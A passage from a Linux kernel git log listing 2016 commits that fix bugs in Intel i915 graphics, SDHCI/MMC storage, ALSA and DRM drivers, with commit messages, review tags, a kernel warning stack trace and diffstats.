mmiodebug does not help debugging (as the suspicion is immediately put upon the current register which is not at fault)! References: https://bugs.freedesktop.org/show_bug.cgi?id=97985 Signed-off-by: Chris Wilson Cc: Mika Kuoppala Reviewed-by: Mika Kuoppala Cc: stable@vger.kernel.org Link: http://patchwork.freedesktop.org/patch/msgid/20161003124516.12388-1-chris@chris-wilson.co.uk (cherry picked from commit dda960335e020835f7f1c12760e7f0b525b451e2) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_uncore.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit be5c571b2ff3a164d2e14ccc100cb5b2b3d3fb7c Author: Paulo Zanoni Date: Thu Sep 29 16:36:48 2016 -0300 drm/i915/gen9: only add the planes actually affected by ddb changes We were previously adding all the planes owned by the CRTC even when the ddb partitioning didn't change for them. As a consequence, a lot of functions were being called when we were just moving the cursor around the screen, such as skylake_update_primary_plane(). This was causing flickering on the primary plane when moving the cursor. I'm not 100% sure which operation caused the flickering, but we were writing to a lot of registers, so it could be any of these writes. With this patch, just moving the mouse won't add the primary plane to the commit since it won't trigger a change in DDB partitioning. v2: Use skl_ddb_entry_equal() (Lyude). v3: Change Reported-and-bisected-by: to Reported-by: for checkpatch Fixes: 05a76d3d6ad1 ("drm/i915/skl: Ensure pipes with changed wms get added to the state") Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97888 Cc: Mike Lothian Cc: stable@vger.kernel.org Reported-by: Mike Lothian Signed-off-by: Paulo Zanoni Signed-off-by: Lyude Link: http://patchwork.freedesktop.org/patch/msgid/1475177808-29955-1-git-send-email-paulo.r.zanoni@intel.com (cherry picked from commit 7f60e200e254cd53ad1bd74a56bdd23e813ac4b7) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_pm.c | 37 ++++++++++++++++++++++++++++++++++++- 1 file changed, 36 insertions(+), 1 deletion(-) commit a3fd4c67af3d8a81d241b3d51b3525f36f1d68bb Author: Ville Syrjälä Date: Mon Sep 26 11:30:46 2016 +0300 drm/i915: Allow PCH DPLL sharing regardless of DPLL_SDVO_HIGH_SPEED DPLL_SDVO_HIGH_SPEED must be set for SDVO/HDMI/DP, but nowhere is it forbidden to set it for LVDS/CRT as well. So let's also set it on CRT to make it possible to share the DPLL between HDMI and CRT. What that bit apparently does is enable the x5 clock to the port, which then pumps out the bits on both edges of the clock. The DAC doesn't need that clock since it's not pumping out bits, but I don't think it hurts to have the DPLL output that clock anyway. This is fairly important on IVB since it has only two DPLLs with three pipes. So trying to drive three or more PCH ports with three pipes is only possible when at least one of the DPLLs gets shared between two of the pipes. SNB doesn't really need to do this since it has only two pipes. It could be done to avoid enabling the second DPLL at all in certain cases, but I'm not sure that's such a huge win. So let's not do it for SNB, at least for now. On ILK it never makes sense as the DPLLs can't be shared. v2: Just always enable the high speed clock to keep things simple (Daniel) Beef up the commit message a bit (Daniel) Cc: Nick Yamane Cc: Daniel Vetter Cc: stable@vger.kernel.org Tested-by: Nick Yamane Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97204 Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1474878646-17711-1-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Ander Conselvan de Oliveira (cherry picked from commit 7d7f8633a82763577727762ff3ac1df3017cb8fe) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_display.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit 9bf9675cafde2cbc6f7b56c120d804c4e7111981 Author: Imre Deak Date: Mon Sep 26 17:54:31 2016 +0300 drm/i915/bxt: Fix HDMI DPLL configuration a277ca7dc01d should've been a no-functional-change commit, but it removed the initialization of the dpll_hw_state for HDMI outputs, resulting in state mismatches and a failed modeset with blank screen. Fix this by reinstating the dpll_hw_state initialization. v2: - Make bxt_ddi_hdmi_set_dpll_hw_state() static. Cc: Manasi Navare Cc: Ander Conselvan de Oliveira Cc: Durgadoss R Cc: Rodrigo Vivi Fixes: a277ca7dc01d ("drm/i915: Split bxt_ddi_pll_select()") Signed-off-by: Imre Deak Reviewed-by: Ander Conselvan de Oliveira Link: http://patchwork.freedesktop.org/patch/msgid/1474901671-22719-1-git-send-email-imre.deak@intel.com (cherry picked from commit a04139c4cf289119cdfb6081af602f7a452fb7c2) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_dpll_mgr.c | 21 ++++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) commit 73fed0ef8567f1e1cba079994353e60208ded964 Author: Paulo Zanoni Date: Thu Sep 22 18:00:33 2016 -0300 drm/i915/gen9: fix the watermark res_blocks value We forgot the "res_blocks += y_tile_minimum" that's described on step V of our documentation. Again, this should only affect the Y tiling cases. It looks like the relevant code was introduced in 0fda65680e92, but there's always the possibility that it matched our specification when it was introduced, and then the specification changed while the code stayed the same. So we can't really say this was a regression, but let's try to add a "Fixes" tag anyway to help backporting. v2: Try to add a "Fixes" tag (Maarten). Fixes: 0fda65680e92 ("drm/i915/skl: Update watermarks for Y tiling") Cc: stable@vger.kernel.org Cc: Tvrtko Ursulin Reviewed-by: Lyude Reviewed-by: Maarten Lankhorst Signed-off-by: Paulo Zanoni Link: http://patchwork.freedesktop.org/patch/msgid/1474578035-424-8-git-send-email-paulo.r.zanoni@intel.com (cherry picked from commit 75676ed423a6acf9e2b1df52fbc036a51e11fb7a) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_pm.c | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) commit cf6c525a31fac11b0775b8c06c00a508c6356d9b Author: Paulo Zanoni Date: Thu Sep 22 18:00:32 2016 -0300 drm/i915/gen9: fix plane_blocks_per_line on watermarks calculations The confusing thing is that plane_blocks_per_line is listed as part of the method 2 calculation but is also used for other things. We calculated it in two different places and different ways: one inside skl_wm_method2() and the other inside skl_compute_plane_wm(). The skl_wm_method2() implementation is the one that matches the specification. With this patch we fix the skl_compute_plane_wm() calculation and just pass it as a parameter to skl_wm_method2(). We also take care to not modify the value of plane_bytes_per_line since we're going to rely on it having a correct value in later patches. This should affect the watermarks for Linear and Y-tiled. From my analysis, it looks like the two plane_blocks_per_line variables got out of sync on 0fda65680e92, but we can't really say that commit was a regression, it looks like just an incomplete fix. There's always the possibility that 0fda65680e92 matched our specification at that time, and then later the specification changed. v2: Try to add a "Fixes" tag (Maarten). Fixes: 0fda65680e92 ("drm/i915/skl: Update watermarks for Y tiling") Cc: stable@vger.kernel.org Cc: Tvrtko Ursulin Reviewed-by: Lyude Reviewed-by: Maarten Lankhorst Signed-off-by: Paulo Zanoni Link: http://patchwork.freedesktop.org/patch/msgid/1474578035-424-7-git-send-email-paulo.r.zanoni@intel.com (cherry picked from commit 7a1a8aed67e0a60772defe3f6499eb340da48634) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_pm.c | 39 +++++++++++++++------------------------ 1 file changed, 15 insertions(+), 24 deletions(-) commit ccc1057477bc99678896b51adce6b6ee4019dc37 Author: Paulo Zanoni Date: Thu Sep 22 18:00:31 2016 -0300 drm/i915/gen9: minimum scanlines for Y tile is not always 4 During watermarks calculations, this value is used in 3 different places. Only one of them was not using a hardcoded 4. Move the code up so everybody can benefit from the actual value. This should only help on situations with Y tiling + 90/270 rotation + 1 or 2 bpp or NV12. Cc: stable@vger.kernel.org Reviewed-by: Maarten Lankhorst Signed-off-by: Paulo Zanoni Link: http://patchwork.freedesktop.org/patch/msgid/1474578035-424-6-git-send-email-paulo.r.zanoni@intel.com (cherry picked from commit 1186fa85eb9b3cc0589990fbc39617e50e38759a) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_pm.c | 56 +++++++++++++++++++++++------------------ 1 file changed, 32 insertions(+), 24 deletions(-) commit 4e4d3814a9bb4d71cd3ff0701d8d7041edefd8f0 Author: Paulo Zanoni Date: Thu Sep 22 18:00:30 2016 -0300 drm/i915/gen9: fix the WaWmMemoryReadLatency implementation Bspec says: "The mailbox response data may not account for memory read latency. If the mailbox response data for level 0 is 0us, add 2 microseconds to the result for each valid level." This means we should only do the +2 in case wm[0] == 0, not always. So split the sanitizing implementation from the WA implementation and fix the WA implementation. v2: Add Fixes tag (Maarten). Fixes: 367294be7c25 ("drm/i915/gen9: Add 2us read latency to WM level") Cc: stable@vger.kernel.org Cc: Vandana Kannan Reviewed-by: Maarten Lankhorst Signed-off-by: Paulo Zanoni Link: http://patchwork.freedesktop.org/patch/msgid/1474578035-424-5-git-send-email-paulo.r.zanoni@intel.com (cherry picked from commit 0727e40a48a1d08cf54ce2c01e120864b92e59bf) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_pm.c | 42 +++++++++++++++++++++-------------------- 1 file changed, 22 insertions(+), 20 deletions(-) commit 17777d61f4a87d7b6d5585e8fdffa83773c594e7 Author: Paulo Zanoni Date: Thu Sep 22 18:00:29 2016 -0300 drm/i915/kbl: KBL also needs to run the SAGV code According to BSpec, it's the "core CPUs" that need the code, which means SKL and KBL, but not BXT. I don't have a KBL to test this patch on it. v2: Only SKL should have I915_SAGV_NOT_CONTROLLED. Cc: stable@vger.kernel.org Reviewed-by: Maarten Lankhorst Signed-off-by: Paulo Zanoni Link: http://patchwork.freedesktop.org/patch/msgid/1474578035-424-4-git-send-email-paulo.r.zanoni@intel.com (cherry picked from commit 6e3100ec21e7c774a0fc01e36a1e0739530c2f71) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_pm.c | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) commit 6e7fdb873d6255ca3c999dd5c6c18962a769ed3e Author: Paulo Zanoni Date: Thu Sep 22 18:00:28 2016 -0300 drm/i915: introduce intel_has_sagv() And use it to move knowledge about the SAGV-supporting platforms from the callers to the SAGV code. We'll add more platforms to intel_has_sagv(), so IMHO it makes more sense to move all this to a single function instead of patching all the callers every time we add SAGV support to a new platform. v2: Move I915_SAGV_NOT_CONTROLLED to the new function (Lyude). Cc: stable@vger.kernel.org Reviewed-by: Maarten Lankhorst Signed-off-by: Paulo Zanoni Link: http://patchwork.freedesktop.org/patch/msgid/1474578035-424-3-git-send-email-paulo.r.zanoni@intel.com (cherry picked from commit 56feca91973459d0b62cbb2610b62d341025ed89) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_display.c | 5 ++--- drivers/gpu/drm/i915/intel_pm.c | 22 ++++++++++++++++++---- 2 files changed, 20 insertions(+), 7 deletions(-) commit 674f823b455cdb94d5773406c1caac170f87e1c4 Author: Paulo Zanoni Date: Thu Sep 22 18:00:27 2016 -0300 drm/i915: SAGV is not SKL-only, so rename a few things The plan is to introduce intel_has_sagv() and then use it to discover which platforms actually support it. I thought about keeping the functions with their current skl names, but found two problems: (i) skl_has_sagv() would become a very confusing name, and (ii) intel_atomic_commit_tail() doesn't seem to be calling any functions whose name start with a platform name, so the "intel_" naming scheme seems make more sense than the "firstplatorm_" naming scheme here. Cc: stable@vger.kernel.org Reviewed-by: Lyude Reviewed-by: Maarten Lankhorst Signed-off-by: Paulo Zanoni Link: http://patchwork.freedesktop.org/patch/msgid/1474578035-424-2-git-send-email-paulo.r.zanoni@intel.com (cherry picked from commit 16dcdc4edbcf5cb130004737f2548401776170f1) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_drv.h | 10 +++++----- drivers/gpu/drm/i915/intel_display.c | 8 ++++---- drivers/gpu/drm/i915/intel_drv.h | 6 +++--- drivers/gpu/drm/i915/intel_pm.c | 26 +++++++++++++------------- 4 files changed, 25 insertions(+), 25 deletions(-) commit 9700f8b28f9ba97f5d1b443658d94f09a9d1b6fb Author: Paulo Zanoni Date: Fri Aug 19 19:03:23 2016 -0300 drm/i915: don't forget to set intel_crtc->dspaddr_offset on SKL+ We never remembered to set it (so it was zero), but this was not a problem in the past due to the way handled the hardware registers. Unfortunately we changed how we set the hardware and forgot to set intel_crtc->dspaddr_offset. This started to reflect on a few kms_frontbuffer_tracking subtests that relied on page flips with CRTCs that don't point to the x:0,y:0 coordinates of the frontbuffer. After the page flip the CRTC was showing the x:0,y:0 coordinate of the frontbuffer instead of x:500,y:500. This problem is present even if we don't enable FBC or PSR. While trying to bisect it I realized that the first bad commit actually just gives me a black screen for the mentioned tests instead of showing the wrong x:0,y:0 offsets. A few commits later the black screen problem goes away and we get to the point where the code is today, but I'll consider the black screen as the first bad commit since it's the point where the IGT subtests start to fail. Fixes: 6687c9062c46 ("drm/i915: Rewrite fb rotation GTT handling") Testcase: kms_frontbuffer_tracking/fbc-1p-primscrn-shrfb-pgflip-blt Testcase: kms_frontbuffer_tracking/fbc-1p-primscrn-shrfb-evflip-blt Testcase: kms_frontbuffer_tracking/fbc-1p-shrfb-fliptrack Cc: Ville Syrjälä Cc: Sivakumar Thulasimani Cc: drm-intel-fixes@lists.freedesktop.org Signed-off-by: Paulo Zanoni Reviewed-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1471644203-23463-1-git-send-email-paulo.r.zanoni@intel.com (cherry picked from commit 4c0b8a8bc49c477be9467f614b6b4ec479736019) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_display.c | 2 ++ 1 file changed, 2 insertions(+) commit ec7ce653d9f6eb22404dee468bf63d8fcaff9c42 Author: Chris Wilson Date: Wed Sep 21 14:51:07 2016 +0100 drm/i915: Only shrink the unbound objects during freeze At the point of creating the hibernation image, the runtime power manage core is disabled - and using the rpm functions triggers a warn. i915_gem_shrink_all() tries to unbind objects, which requires device access and so tries to how an rpm reference triggering a warning: [ 44.235420] ------------[ cut here ]------------ [ 44.235424] WARNING: CPU: 2 PID: 2199 at drivers/gpu/drm/i915/intel_runtime_pm.c:2688 intel_runtime_pm_get_if_in_use+0xe6/0xf0 [ 44.235426] WARN_ON_ONCE(ret < 0) [ 44.235445] Modules linked in: ctr ccm arc4 rt2800usb rt2x00usb rt2800lib rt2x00lib crc_ccitt mac80211 cmac cfg80211 btusb rfcomm bnep btrtl btbcm btintel bluetooth dcdbas x86_pkg_temp_thermal intel_powerclamp coretemp snd_hda_codec_realtek crct10dif_pclmul crc32_pclmul ghash_clmulni_intel snd_hda_codec_generic aesni_intel snd_hda_codec_hdmi aes_x86_64 lrw gf128mul snd_hda_intel glue_helper ablk_helper cryptd snd_hda_codec hid_multitouch joydev snd_hda_core binfmt_misc i2c_hid serio_raw snd_pcm acpi_pad snd_timer snd i2c_designware_platform 8250_dw nls_iso8859_1 i2c_designware_core lpc_ich mfd_core soundcore usbhid hid psmouse ahci libahci [ 44.235447] CPU: 2 PID: 2199 Comm: kworker/u8:8 Not tainted 4.8.0-rc5+ #130 [ 44.235447] Hardware name: Dell Inc. XPS 13 9343/0310JH, BIOS A07 11/11/2015 [ 44.235450] Workqueue: events_unbound async_run_entry_fn [ 44.235453] 0000000000000000 ffff8801b2f7fb98 ffffffff81306c2f ffff8801b2f7fbe8 [ 44.235454] 0000000000000000 ffff8801b2f7fbd8 ffffffff81056c01 00000a801f50ecc0 [ 44.235456] ffff88020ce50000 ffff88020ce59b60 ffffffff81a60b5c ffffffff81414840 [ 44.235456] Call Trace: [ 44.235459] [] dump_stack+0x4d/0x6e [ 44.235461] [] __warn+0xd1/0xf0 [ 44.235464] [] ? i915_pm_suspend_late+0x30/0x30 [ 44.235465] [] warn_slowpath_fmt+0x4f/0x60 [ 44.235468] [] ? pm_runtime_get_if_in_use+0x6e/0xa0 [ 44.235469] [] intel_runtime_pm_get_if_in_use+0xe6/0xf0 [ 44.235471] [] i915_gem_shrink+0x306/0x360 [ 44.235473] [] ? pci_platform_power_transition+0x24/0x90 [ 44.235475] [] ? i915_pm_suspend_late+0x30/0x30 [ 44.235476] [] i915_gem_shrink_all+0x1b/0x30 [ 44.235478] [] i915_gem_freeze_late+0x33/0x90 [ 44.235479] [] i915_pm_freeze_late+0x37/0x40 [ 44.235481] [] dpm_run_callback+0x4e/0x130 [ 44.235483] [] __device_suspend_late+0xdb/0x1f0 [ 44.235484] [] async_suspend_late+0x1f/0xa0 [ 44.235486] [] async_run_entry_fn+0x37/0x150 [ 44.235488] [] process_one_work+0x148/0x3f0 [ 44.235490] [] worker_thread+0x12b/0x490 [ 44.235491] [] ? process_one_work+0x3f0/0x3f0 [ 44.235492] [] kthread+0xc9/0xe0 [ 44.235495] [] ret_from_fork+0x1f/0x40 [ 44.235496] [] ? kthread_park+0x60/0x60 [ 44.235497] ---[ end trace e438706b97c7f132 ]--- Alternatively, to actually shrink everything we have to do so slightly earlier in the hibernation process. To keep lockdep silent, we need to take struct_mutex for the shrinker even though we know that we are the only user during the freeze. Fixes: 7aab2d534e35 ("drm/i915: Shrink objects prior to hibernation") Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160921135108.29574-2-chris@chris-wilson.co.uk (cherry picked from commit 6a800eabba34945c2986d70114b41d564bad52a8) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_drv.c | 12 +++++++++++- drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/i915_gem.c | 17 ++++++++++++++++- 3 files changed, 28 insertions(+), 2 deletions(-) commit ac75694125f12f3ce92c30584b49533ed710da8e Author: Chris Wilson Date: Wed Sep 21 14:51:06 2016 +0100 drm/i915: Restore current RPS state after reset Following commit 821ed7df6e2a ("drm/i915: Update reset path to fix incomplete requests") we no longer mark the context as lost on reset as we keep the requests (and contexts) alive. However, RPS remains reset and we need to restore the current state to match the in-flight requests. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97824 Fixes: 821ed7df6e2a ("drm/i915: Update reset path to fix incomplete requests") Signed-off-by: Chris Wilson Cc: Mika Kuoppala Cc: Tvrtko Ursulin Cc: Arun Siluvery Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160921135108.29574-1-chris@chris-wilson.co.uk (cherry picked from commit f2a91d1a6f5960c08f1ca60bd076f4dc020c50c6) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_drv.c | 9 --------- drivers/gpu/drm/i915/i915_gem.c | 7 +++++++ drivers/gpu/drm/i915/i915_irq.c | 6 ++++++ 3 files changed, 13 insertions(+), 9 deletions(-) commit 11dec6a2940c8c8b0791aecdab87f9c9b1371d11 Author: Imre Deak Date: Wed Sep 14 13:04:13 2016 +0300 drm/i915: Unlock PPS registers after GPU reset Reapply the PPS register unlock workaround after GPU reset on platforms where the reset clobbers the display HW state. This at least gets rid of the related WARN during LVDS encoder enabling on PNV. Fixes: ed6143b8f75 ("drm/i915/lvds: Restore initial HW state during encoder enabling") Reported-by: Ville Syrjälä Signed-off-by: Imre Deak Link: http://patchwork.freedesktop.org/patch/msgid/1473847453-4771-1-git-send-email-imre.deak@intel.com Reviewed-by: Ville Syrjälä (cherry picked from commit 51f592050a523fc5882f9b8b4e9259422e41e848) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_display.c | 1 + 1 file changed, 1 insertion(+) commit 915b417946030e1f365c63728875cffd8db8e880 Author: Shawn Lee Date: Mon Sep 19 13:35:26 2016 +0300 drm/i915/backlight: setup backlight pwm alternate increment on backlight enable Backlight enable is supposed to do a full setup of the backlight. We were missing the PWM alternate increment bit in the south chicken registers on lpt+ pch. This potentially caused a PWM frequency change when the chicken register value was lost e.g. on suspend. v2 by Jani, rebase on the patch caching alt increment Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97486 References: https://bugs.freedesktop.org/show_bug.cgi?id=67454 Cc: Cooper Chiou Cc: Wei Shun Chen Cc: Gary C Wang Cc: stable@vger.kernel.org # v4.4+ 16e1203db8ab drm/i915/backlight: setup and cache... Cc: stable@vger.kernel.org # v4.4+ Reviewed-by: Ville Syrjälä Signed-off-by: Shawn Lee Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/8265f5935bd31c039ddfc82819d26c2ca1ae9cba.1474281249.git.jani.nikula@intel.com (cherry picked from commit e29aff05f239f8dd24e9ee7816fd96726e20105a) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_panel.c | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) commit 16e1203db8ab740c912ea62761fdf27d7811b886 Author: Jani Nikula Date: Mon Sep 19 13:35:25 2016 +0300 drm/i915/backlight: setup and cache pwm alternate increment value This will also be needed later on when setting up the alternate increment in backlight enable. Cc: Shawn Lee Cc: Reviewed-by: Ville Syrjälä Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/9984b20bc59aee90b83caf59ce91f3fb122c9627.1474281249.git.jani.nikula@intel.com (cherry picked from commit 32b421e79e6b546da1d469f1229403ac9142d695) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_drv.h | 1 + drivers/gpu/drm/i915/intel_panel.c | 14 +++++++++++--- 2 files changed, 12 insertions(+), 3 deletions(-) commit fee686b74a9c115d3c4c851eb6613d1378ad0e0c Author: Adrian Hunter Date: Wed Oct 5 12:11:24 2016 +0300 mmc: sdhci-pci: Fix bus power failing to enable for some Intel controllers Some Intel controllers (e.g. BXT) might fail to set bus power after a D3 -> D0 transition due to the present state not yet having propagated. Retry for up to 2 milliseconds. Signed-off-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-pci-core.c | 50 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) commit 6bc090631dfc3394da0619e920662e6636dbe89c Author: Adrian Hunter Date: Wed Oct 5 12:11:23 2016 +0300 mmc: sdhci-pci: Let devices define their own sdhci_ops Let devices define their own sdhci_ops so that device-specific variations can be implemented without adding quirks. Signed-off-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-pci-core.c | 4 +++- drivers/mmc/host/sdhci-pci.h | 2 ++ 2 files changed, 5 insertions(+), 1 deletion(-) commit 606d313124094d87050896a10894200cdd2b0514 Author: Adrian Hunter Date: Wed Oct 5 12:11:22 2016 +0300 mmc: sdhci: Rename sdhci_set_power() to sdhci_set_power_noreg() Unlike other cases, sdhci_set_power() does not reflect the default implementation of the ->set_power() callback. Rename it and create sdhci_set_power() that is the default implementation. Signed-off-by: Adrian Hunter Cc: Jisheng Zhang Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-pxav3.c | 2 +- drivers/mmc/host/sdhci.c | 26 +++++++++++++------------- drivers/mmc/host/sdhci.h | 2 ++ 3 files changed, 16 insertions(+), 14 deletions(-) commit fc605f1d8060133596bb6083fc4b7b306d1d5931 Author: Adrian Hunter Date: Wed Oct 5 12:11:21 2016 +0300 mmc: sdhci: Fix SDHCI_QUIRK2_STOP_WITH_TC Multi-block data transfers can specify the number of blocks either using a Set Block Count command (CMD23) or by sending a STOP command (CMD12) after the required number of blocks has transferred. CMD23 is preferred, but some cards don't support it. CMD12 with R1b response is used for writes, and R1 response for reads. Some SDHCI host controllers give a Transfer Complete (TC) interrupt for the STOP command (CMD12) whether or not a R1b response has been specified. The quirk SDHCI_QUIRK2_STOP_WITH_TC identifies those host controllers, but the implementation only considers the case where the TC interrupt arrives at the same time as the Command Complete (CC) interrupt. However, occasionally TC arrives before CC. That is harmless, but does generate an error message "Got data interrupt 0x00000002 even though no data operation was in progress". A simpler approach is to force R1b response onto all STOP commands, because SDHCI will handle TC before CC in the general case, so do that. Signed-off-by: Adrian Hunter Cc: Giuseppe Cavallaro Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci.c | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) commit 3f2d26643595973e835e8356ea90c7c15cb1b0f1 Author: Jiri Slaby Date: Mon Oct 3 10:58:28 2016 +0200 mmc: core: Annotate cmd_hdr as __le32 Commit f68381a70bb2 (mmc: block: fix packed command header endianness) correctly fixed endianness handling of packed_cmd_hdr in mmc_blk_packed_hdr_wrq_prep. But now, sparse complains about incorrect types: drivers/mmc/card/block.c:1613:27: sparse: incorrect type in assignment (different base types) drivers/mmc/card/block.c:1613:27: expected unsigned int [unsigned] [usertype] drivers/mmc/card/block.c:1613:27: got restricted __le32 [usertype] ... So annotate cmd_hdr properly using __le32 to make everyone happy. Signed-off-by: Jiri Slaby Fixes: f68381a70bb2 (mmc: block: fix packed command header endianness) Cc: stable@vger.kernel.org Signed-off-by: Ulf Hansson drivers/mmc/card/block.c | 2 +- drivers/mmc/card/queue.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 8a3bee9b13824147dd15efb2993fb1b19c0e5555 Author: Shawn Lin Date: Fri Sep 30 14:19:00 2016 +0800 mmc: sdhci-of-arasan: add sdhci_arasan_voltage_switch for arasan, 5.1 Per the vendor's requirement, we shouldn't do any setting for 1.8V Signaling Enable, otherwise the interaction/behaviour between phy and controller will be undefined. Mostly it works fine if we do that, but we still see failures. Anyway, let's fix it to meet the vendor's requirement. The error log looks like: [ 93.405085] mmc1: unexpected status 0x800900 after switch [ 93.408474] mmc1: switch to bus width 1 failed [ 93.408482] mmc1: mmc_select_hs200 failed, error -110 [ 93.408492] mmc1: error -110 during resume (card was removed?) [ 93.408705] PM: resume of devices complete after 213.453 msecs Signed-off-by: Shawn Lin Acked-by: Adrian Hunter Reviewed-by: Douglas Anderson Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-of-arasan.c | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit 4f25580fb84d934d7ecffa3c0aa8f10f7e23af92 Author: Shawn Lin Date: Fri Sep 30 14:18:59 2016 +0800 mmc: core: changes frequency to hs_max_dtr when selecting hs400es Per JESD84-B51 P49, Host need to change frequency to <=52MHz after setting HS_TIMING to 0x1, and host may changes frequency to <= 200MHz after setting HS_TIMING to 0x3. That means the card expects the clock rate to increase from the current used f_init (which is less than 400KHz, but still being less than 52MHz) to 52MHz, otherwise we find some eMMC devices significantly report failure when sending status. Reported-by: Xiao Yao Signed-off-by: Shawn Lin Reviewed-by: Douglas Anderson Signed-off-by: Ulf Hansson drivers/mmc/core/mmc.c | 2 ++ 1 file changed, 2 insertions(+) commit 1720d3545b772c49b2975eeb3b8f4d3f56dc2085 Author: Shawn Lin Date: Fri Sep 30 14:18:58 2016 +0800 mmc: core: switch to 1V8 or 1V2 for hs400es mode When introducing hs400es, I didn't notice that we haven't switched voltage to 1V2 or 1V8 for it. That happens to work as the first controller claiming to support hs400es, arasan(5.1), which is designed to only support 1V8. So the voltage is fixed to 1V8. But it actually is wrong, and will not fit for other host controllers. Let's fix it. Fixes: commit 81ac2af65793ecf ("mmc: core: implement enhanced strobe support") Cc: Signed-off-by: Shawn Lin Reviewed-by: Douglas Anderson Signed-off-by: Ulf Hansson drivers/mmc/core/mmc.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 48ab086d262e705c4d042228479aaf0b2daffcf9 Author: Baoyou Xie Date: Fri Sep 30 09:37:38 2016 +0800 mmc: block: add missing header dependencies We get 1 warning when building kernel with W=1: drivers/mmc/card/block.c:2147:5: warning: no previous prototype for 'mmc_blk_issue_rq' [-Wmissing-prototypes] In fact, this function is declared in drivers/mmc/card/block.h, so this patch adds missing header dependencies. Signed-off-by: Baoyou Xie Signed-off-by: Ulf Hansson drivers/mmc/card/block.c | 1 + 1 file changed, 1 insertion(+) commit 13d62fd26924b30593ffd970be17c7344149b188 Author: Wei Yongjun Date: Sun Sep 25 15:44:03 2016 +0000 mmc: sdhci-of-arasan: Fix non static symbol warning Fixes the following sparse warning: drivers/mmc/host/sdhci-of-arasan.c:253:6: warning: symbol 'sdhci_arasan_reset' was not declared. Should it be static? Signed-off-by: Wei Yongjun Acked-by: Sören Brinkmann Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-of-arasan.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b907900ec4065e1d9b65fafa05fd6601b6a2ffc7 Author: Andrej Krutak Date: Wed Oct 5 17:46:09 2016 +0200 ALSA: line6: Fix POD X3 Live audio input The commit c039aaa77a7d1d9375665a8b59ec16dc7d23e259 was incomplete, missing part of the setup for Live. This makes also audio input work, in addition to audio output. Fixes: c039aaa77a7d1d9375665a8b59ec16dc7d23e259 Reported-by: Eddi De Pieri Signed-off-by: Andrej Krutak Signed-off-by: Takashi Iwai sound/usb/line6/podhd.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 621a99933c5cb509d832bb98e6118761461a1f8a Author: Grazvydas Ignotas Date: Sun Oct 9 20:07:00 2016 +0300 drm: use the right function name in documentation There is no late_unregister(), it looks like the comment meant late_register(). Also fix a typo while at it. Signed-off-by: Grazvydas Ignotas Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1476032820-3275-1-git-send-email-notasas@gmail.com include/drm/drm_connector.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9a47dba1f93148acb4e74f07716df7fad989c2e0 Author: Christophe JAILLET Date: Fri Oct 7 09:27:41 2016 +0200 drm: Release resources with a safer function We should use 'ida_simple_remove()' instead of 'ida_remove()' when freeing resources allocated with 'ida_simple_get()'. Signed-off-by: Christophe JAILLET Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1475825261-7735-1-git-send-email-christophe.jaillet@wanadoo.fr drivers/gpu/drm/drm_connector.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 67c8f116f5d59df46c2be99674542b43195b21d7 Author: Chris Wilson Date: Wed Oct 5 18:40:56 2016 +0100 drm: Fix up kerneldoc for new drm_gem_dmabuf_export() I hit send before completing a make htmldoc, and lo I forgot to fix up the cut'n'paste. Fixes: a4fce9cb782a ("drm/prime: Take a ref on the drm_dev when exporting...") Reported-by: kbuild test robot Signed-off-by: 